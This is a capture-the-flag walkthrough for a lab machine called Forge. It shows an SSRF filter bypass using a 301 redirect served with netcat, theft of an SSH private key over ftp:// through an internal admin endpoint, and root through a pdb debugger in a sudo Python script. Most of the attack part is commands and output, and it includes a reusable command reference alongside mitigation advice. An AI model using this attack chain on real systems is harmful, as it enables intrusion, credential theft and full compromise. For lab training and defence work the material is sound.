Overview

Machine author: NoobHacker9999. IP: 10.10.10.x. Technique categories: SSRF, SSRF filter bypass, redirect-based SSRF, data exfiltration, Python pdb privesc.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
enumeration (nmap, gobuster dir + vhost)
   v
"Upload from URL" on forge.htb  ->  SSRF
   v
localhost blacklist  ->  bypass via a 301 redirect from your own server
   v
access to admin.forge.htb (localhost only)  ->  exfil /announcements
   (FTP creds user:heightofsecurity123!, /upload supports ftp://)
   v
SSRF + ftp:// scheme  ->  read /home/user/.ssh/id_rsa
   v
SSH as user  ->  user.txt
   v
sudo python3 /opt/remote-manage.py  ->  force an exception  ->  pdb.post_mortem  ->  root shell
   v
root.txt

Three concepts to take away:

  1. An SSRF does not need to support ftp:// directly; if the server follows redirects, a 301/302 from your host can move it to any scheme or host it would not accept directly.
  2. A blacklist filter on “localhost” breaks on redirect; validation happens on the input URL, not the target after the redirect (a TOCTOU in SSRF).
  3. pdb.post_mortem() in an except block is a remote root shell when the script runs via sudo. Any uncontrolled exception yields an interactive debugger with the process’s privileges.

Reconnaissance

1
2
ports=$(nmap -p- --min-rate=1000 -T4 10.10.10.x | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -sC -sV 10.10.10.x
PortStateServiceNote
21/tcpfilteredftpFirewalled, localhost only (the key to SSRF)
22/tcpopenOpenSSH 8.2p1Entry after obtaining the key
80/tcpopenApache httpd 2.4.41Redirect to http://forge.htb (virtual hosting)

filtered on 21 plus a redirect to a vhost means the machine almost certainly has internal services reachable only from localhost. Think in terms of SSRF before you even see the upload form.

1
echo "10.10.10.x forge.htb" | sudo tee -a /etc/hosts

Directory and vhost enumeration

1
2
3
4
5
6
7
gobuster dir -u http://forge.htb -w /usr/share/seclists/Discovery/Web-Content/raft-small-words.txt
#   /uploads (301) /upload (200) /static (301) /server-status (403)

# vhosts: filter 302 because everything redirects to forge.htb
gobuster vhost -u http://forge.htb \
  -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt | grep -v 302
#   Found: admin.forge.htb (200) [Size: 27]
1
2
3
echo "10.10.10.x admin.forge.htb" | sudo tee -a /etc/hosts
curl http://admin.forge.htb
#   Only localhost is allowed!

For gobuster vhost, always filter the base response status or size (here -v 302), or you drown in false positives. Newer versions have --exclude-length / -b.

Initial Access

The upload feature

/upload has two options: “Upload local file” and “Upload from URL”. A local PHP upload (“Hello world!”) shows that:

  • the filename is randomized and the extension is stripped, so no code execution via upload
  • the file content is preserved, so this is an exfiltration channel: whatever the server fetches from a URL, it stores and serves back at /uploads/<random>

“Upload from URL” plus content preservation is an SSRF read primitive.

Discovering the SSRF and mapping the filters

InputServer responseConclusion
ftp://127.0.0.1Invalid protocol! Supported protocols: http, httpsScheme whitelist: http/https only
http://127.0.0.1, http://[::1], localhost, http://[0:0:0:0:0:0:0:0], http://forge.htbURL contains a blacklisted address!Blacklist on the URL string (localhost, IP forms)
http://10.10.14.x (our host)passesThe server makes outbound requests to any external host
1
2
3
4
nc -lvnp 80
# GET / HTTP/1.1
# Host: 10.10.14.x
# User-Agent: python-requests/2.25.1

python-requests follows redirects by default (allow_redirects=True), which opens the bypass.

SSRF via redirect

The validation checks only the input URL (http://10.10.14.x, legal). The server follows Location:, and the redirect target is not re-validated. Stand up a server that returns a 301 with the internal target.

1
2
3
rm -f response
printf 'HTTP/1.1 301 Moved Permanently\r\nLocation: http://forge.htb/\r\n\r\n' > response
nc -lvnp 80 < response

In the form, supply http://10.10.14.x; the server gets the 301, follows to http://forge.htb/, and stores the HTML at /uploads/<random>.

1
curl http://forge.htb/uploads/kCOPlouy38MLQfuo4MI9   # returns forge.htb HTML

When changing Location:, clear the response file each time (> response or rm response), or you concatenate headers and the response is malformed.

Reaching admin.forge.htb and exfiltrating data

Point Location: at the internal vhost:

1
2
3
4
5
6
# admin portal (localhost only)
Location: http://admin.forge.htb/
# -> reveals /announcements and /upload

# /announcements exists only on admin
Location: http://admin.forge.htb/announcements

/announcements contents:

  1. FTP credentials: user:heightofsecurity123!
  2. The /upload endpoint on admin supports ftp, ftps, http, https
  3. /upload accepts a GET parameter ?u=<url> for the image source

admin.forge.htb/upload accepts ftp://, which forge.htb/upload rejected. Chain the two SSRF layers: an external redirect to the internal endpoint that knows FTP.

Lateral Movement

Build a redirect targeting admin /upload?u=<ftp url> with embedded credentials:

1
2
3
4
5
6
# FTP directory listing (FTP root = user home)
Location: http://admin.forge.htb/upload?u=ftp://user:[email protected]/
# -> drwxr-xr-x ... snap   /   -rw-r----- ... user.txt

# read the SSH private key
Location: http://admin.forge.htb/upload?u=ftp://user:[email protected]/.ssh/id_rsa
1
2
3
curl http://forge.htb/uploads/p09ioa87ZtbW4MxSgypp >> user.key
chmod 600 user.key
ssh -i user.key [email protected]        # user.txt in /home/user/

The FTP password did not work for SSH; the key was required. Do not assume credentials are shared between services; check both vectors.

Privilege Escalation

pdb.post_mortem in a sudo script

1
2
sudo -l
# (ALL : ALL) NOPASSWD: /usr/bin/python3 /opt/remote-manage.py

/opt/remote-manage.py (skeleton):

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
port = random.randint(1025, 65535)
try:
    sock = socket.socket(...)
    sock.bind(('127.0.0.1', port)); sock.listen(1)
    print(f'Listening on localhost:{port}')
    (clientsock, addr) = sock.accept()
    # ... auth 'secretadminpassword' ...
    while True:
        # menu 1-4
        option = int(clientsock.recv(1024).strip())   # trigger point
        ...
except Exception as e:
    print(e)
    pdb.post_mortem(e.__traceback__)   # interactive debugger as root
finally:
    quit()
  • The script opens a local socket on a random port and asks for the hardcoded password secretadminpassword.
  • The menu runs int(clientsock.recv(...)) on uncontrolled input. A non-numeric character raises ValueError.
  • The exception reaches except, and pdb.post_mortem() starts an interactive Python debugger with the process’s privileges (root, because sudo).
  • In pdb you can run arbitrary Python to spawn a shell.
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
# session A: run the script
sudo /usr/bin/python3 /opt/remote-manage.py
# Listening on localhost:47172

# session B: connect, log in, send a letter
nc localhost 47172
# Enter the secret passsword: secretadminpassword
# ... menu ...
a        # not a valid int -> ValueError

# session A: you get (Pdb)
(Pdb) import os; os.system('/bin/bash');
# root@forge:/home/user# id  -> uid=0(root)

root.txt is in /root/.

Detection and Mitigation

SSRF:

  • Validate the target host after DNS resolution and after every redirect, not just the input string.
  • Disable redirect following for fetchers, or re-validate Location (allow_redirects=False plus a controlled loop).
  • Use an allow-list of target hosts/ranges instead of a blacklist. Block RFC1918, loopback, link-local (169.254/16), metadata (169.254.169.254).
  • Enforce a scheme whitelist in the HTTP client, not just on user input.
  • Network isolation: run the fetcher in a separate segment with no access to internal services.

Privilege escalation:

  • Never leave pdb / breakpoint() in production code; set PYTHONBREAKPOINT=0.
  • Do not run interactive or debuggable scripts via sudo NOPASSWD.
  • Validate and sanitize input before type conversion; handle exceptions without dropping into a debugger.

Detection signals:

  • Outbound HTTP from the application server to attacker-pool hosts.
  • Requests to “localhost only” vhosts originating from the loopback with unusual timing.
  • python3 run via sudo spawning /bin/bash (audit with auditd / execve).

Lessons Learned

  • Any “provide a URL” feature (upload from URL, webhook, PDF/HTML renderer, image fetcher, avatar import, link preview) is a potential SSRF.
  • Check whether the primitive is a read (content returns to you) or blind (side effect only).
  • Map the filters separately: scheme whitelist vs host blacklist. Attack the weaker link.
  • Redirect bypass works whenever the HTTP client follows redirects; check the User-Agent in the callback to see which client and schemes are supported.
  • sudo plus a Python script: look for pdb, eval/exec on input, pickle.loads, os.system/subprocess with concatenation, injectable PYTHONPATH/PYTHONSTARTUP.
  • pdb.post_mortem() / breakpoint() in except is a ready-made backdoor; force any exception on controlled input.

Command Reference

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
# enum
ports=$(nmap -p- --min-rate=1000 -T4 <IP> | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -sC -sV <IP>
gobuster dir   -u http://forge.htb -w <wordlist>
gobuster vhost -u http://forge.htb -w <dns-wordlist> | grep -v 302

# SSRF redirect pattern
rm -f response
printf 'HTTP/1.1 301 Moved Permanently\r\nLocation: <TARGET_URL>\r\n\r\n' > response
sudo nc -lvnp 80 < response
# in the form / ?u= supply: http://<YOUR_IP>
curl http://forge.htb/uploads/<random>          # read the result

# TARGET_URL values:
#   http://admin.forge.htb/announcements
#   http://admin.forge.htb/upload?u=ftp://user:[email protected]/
#   http://admin.forge.htb/upload?u=ftp://user:[email protected]/.ssh/id_rsa

# foothold
curl http://forge.htb/uploads/<random> >> user.key
chmod 600 user.key
ssh -i user.key [email protected]

# privesc
sudo -l
sudo /usr/bin/python3 /opt/remote-manage.py     # session A -> port XXXX
nc localhost XXXX                                # session B: secretadminpassword -> send 'a'
# (Pdb) import os; os.system('/bin/bash');